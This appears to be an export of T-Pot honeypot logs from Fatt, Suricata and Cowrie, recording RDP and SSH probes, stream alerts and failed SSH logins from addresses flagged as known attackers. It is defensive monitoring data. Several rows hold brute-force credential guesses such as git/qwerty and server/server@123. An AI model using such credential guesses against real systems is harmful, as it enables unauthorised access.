34192	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:59:34.346228+03	2021-09-20 15:00:06.815042+03	{"_id": "MgYTA3wBvYTbRNuEZFQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 49414, "dest_port": 3389, "timestamp": "2021-09-20T11:59:34.346228", "@timestamp": "2021-09-20T11:59:34.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
34193	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:59:34.743438+03	2021-09-20 15:00:06.816042+03	{"_id": "QwYTA3wBvYTbRNuEZlT0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:34.002278+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 254538949200102, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 49414, "dest_port": 3389, "timestamp": "2021-09-20T11:59:34.743438Z", "@timestamp": "2021-09-20T11:59:34.743Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
34194	120.36.157.98	109.199.241.180	Fatt	2021-09-20 14:59:34.665794+03	2021-09-20 15:00:06.817042+03	{"_id": "RQYTA3wBvYTbRNuEZ1T6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 27427, "dest_port": 22, "timestamp": "2021-09-20T11:59:34.665794", "@timestamp": "2021-09-20T11:59:34.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34195	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:59:36.019857+03	2021-09-20 15:00:06.819042+03	{"_id": "RgYTA3wBvYTbRNuEaVSx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [git/qwerty] failed", "session": "e81e3ba2b795", "@version": "1", "password": "qwerty", "username": "git", "timestamp": "2021-09-20T11:59:36.019857Z", "@timestamp": "2021-09-20T11:59:36.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34196	157.240.9.35	109.199.241.180	Suricata	2021-09-20 14:59:21.584931+03	2021-09-20 15:00:06.820041+03	{"_id": "IAYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.498583+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.35", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 282065393785751, "payload": "FwMDACL7PeSRVz3076Ep9Yz1hA+KQ2wlJv8C47sDFJFUmKFz5RPU", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 40258, "timestamp": "2021-09-20T11:59:21.584931Z", "@timestamp": "2021-09-20T11:59:21.584Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".=..W=...)......Cl%&.......T..s..."}}	1	\N	\N	alert	\N	\N
34197	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:59:21.728402+03	2021-09-20 15:00:06.821041+03	{"_id": "HQYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503539+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 342}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1721708366638835, "payload": "FwMDACJGxBkrvnpqbVTi+GIcCeH2jhKnYbmFca/qwR3jD02BxUgS", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37958, "timestamp": "2021-09-20T11:59:21.728402Z", "@timestamp": "2021-09-20T11:59:21.728Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"F..+.zjmT..b.......a..q......M..H."}}	1	\N	\N	alert	\N	\N
34198	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:59:21.968456+03	2021-09-20 15:00:06.822042+03	{"_id": "JgYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503820+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 447}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2098482225197068, "payload": "FwMDACIoOZv5JY5Jy21fiNW/ylyqcGz082fqQ0+t/80n29jPN7Kf", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39036, "timestamp": "2021-09-20T11:59:21.968456Z", "@timestamp": "2021-09-20T11:59:21.968Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"(9..%.I.m_....\\\\.pl..g.CO...'...7.."}}	1	\N	\N	alert	\N	\N
34199	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:59:22.46541+03	2021-09-20 15:00:06.824041+03	{"_id": "JwYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503820+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 552}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2098482225197068, "payload": "FwMDACIoOZv5JY5Jy21fiNW/ylyqcGz082fqQ0+t/80n29jPN7Kf", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39036, "timestamp": "2021-09-20T11:59:22.465410Z", "@timestamp": "2021-09-20T11:59:22.465Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"(9..%.I.m_....\\\\.pl..g.CO...'...7.."}}	1	\N	\N	alert	\N	\N
34200	157.240.9.35	109.199.241.180	Suricata	2021-09-20 14:59:22.457905+03	2021-09-20 15:00:06.825057+03	{"_id": "IwYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.498583+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 552}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.35", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 282065393785751, "payload": "FwMDACL7PeSRVz3076Ep9Yz1hA+KQ2wlJv8C47sDFJFUmKFz5RPU", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 40258, "timestamp": "2021-09-20T11:59:22.457905Z", "@timestamp": "2021-09-20T11:59:22.457Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".=..W=...)......Cl%&.......T..s..."}}	1	\N	\N	alert	\N	\N
34201	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:59:22.577884+03	2021-09-20 15:00:06.82706+03	{"_id": "KAYTA3wBvYTbRNuEOFQO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.493982+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 513}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 667386237258142, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34968, "timestamp": "2021-09-20T11:59:22.577884Z", "@timestamp": "2021-09-20T11:59:22.577Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34202	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:59:24.018868+03	2021-09-20 15:00:06.828053+03	{"_id": "KgYTA3wBvYTbRNuEOlTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.login.failed", "message": "login attempt [server/server@123] failed", "session": "d441b5e1fcab", "@version": "1", "password": "server@123", "username": "server", "timestamp": "2021-09-20T11:59:24.018868Z", "@timestamp": "2021-09-20T11:59:24.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34203	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:59:25.815157+03	2021-09-20 15:00:06.829054+03	{"_id": "KwYTA3wBvYTbRNuEQlSc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "d441b5e1fcab", "@version": "1", "duration": 7.917445182800293, "timestamp": "2021-09-20T11:59:25.815157Z", "@timestamp": "2021-09-20T11:59:25.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34204	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:59:21.759578+03	2021-09-20 15:00:06.830053+03	{"_id": "GAYTA3wBvYTbRNuEMlT6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "564b97e2849d", "@version": "1", "duration": 1.745518684387207, "timestamp": "2021-09-20T11:59:21.759578Z", "@timestamp": "2021-09-20T11:59:21.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34205	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:59:21.596386+03	2021-09-20 15:00:06.831053+03	{"_id": "GQYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503539+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1721708366638835, "payload": "FwMDACJGxBkrvnpqbVTi+GIcCeH2jhKnYbmFca/qwR3jD02BxUgS", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37958, "timestamp": "2021-09-20T11:59:21.596386Z", "@timestamp": "2021-09-20T11:59:21.596Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"F..+.zjmT..b.......a..q......M..H."}}	1	\N	\N	alert	\N	\N
34206	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:59:21.729826+03	2021-09-20 15:00:06.833053+03	{"_id": "GgYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.493982+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 342}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 667386237258142, "payload": "FwMDACJ2DJ9i2d0PENiS6qMUGoooarhlyNG1ZhXjozcfV9F018Um", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34968, "timestamp": "2021-09-20T11:59:21.729826Z", "@timestamp": "2021-09-20T11:59:21.729Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"v..b...........(j.e...f...7.W.t..&"}}	1	\N	\N	alert	\N	\N
34207	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:59:21.993847+03	2021-09-20 15:00:06.834053+03	{"_id": "GwYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.493982+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 447}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 667386237258142, "payload": "FwMDACJ2DJ9i2d0PENiS6qMUGoooarhlyNG1ZhXjozcfV9F018Um", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34968, "timestamp": "2021-09-20T11:59:21.993847Z", "@timestamp": "2021-09-20T11:59:21.993Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"v..b...........(j.e...f...7.W.t..&"}}	1	\N	\N	alert	\N	\N
34208	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:59:21.592416+03	2021-09-20 15:00:06.835076+03	{"_id": "JAYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503820+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2098482225197068, "payload": "FwMDACIoOZv5JY5Jy21fiNW/ylyqcGz082fqQ0+t/80n29jPN7Kf", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39036, "timestamp": "2021-09-20T11:59:21.592416Z", "@timestamp": "2021-09-20T11:59:21.592Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"(9..%.I.m_....\\\\.pl..g.CO...'...7.."}}	1	\N	\N	alert	\N	\N
34209	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:59:21.72042+03	2021-09-20 15:00:06.83606+03	{"_id": "JQYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503820+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 342}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2098482225197068, "payload": "FwMDACIoOZv5JY5Jy21fiNW/ylyqcGz082fqQ0+t/80n29jPN7Kf", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39036, "timestamp": "2021-09-20T11:59:21.720420Z", "@timestamp": "2021-09-20T11:59:21.720Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"(9..%.I.m_....\\\\.pl..g.CO...'...7.."}}	1	\N	\N	alert	\N	\N
34210	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:59:21.985349+03	2021-09-20 15:00:06.839059+03	{"_id": "HgYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503539+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 447}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1721708366638835, "payload": "FwMDACJGxBkrvnpqbVTi+GIcCeH2jhKnYbmFca/qwR3jD02BxUgS", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37958, "timestamp": "2021-09-20T11:59:21.985349Z", "@timestamp": "2021-09-20T11:59:21.985Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"F..+.zjmT..b.......a..q......M..H."}}	1	\N	\N	alert	\N	\N
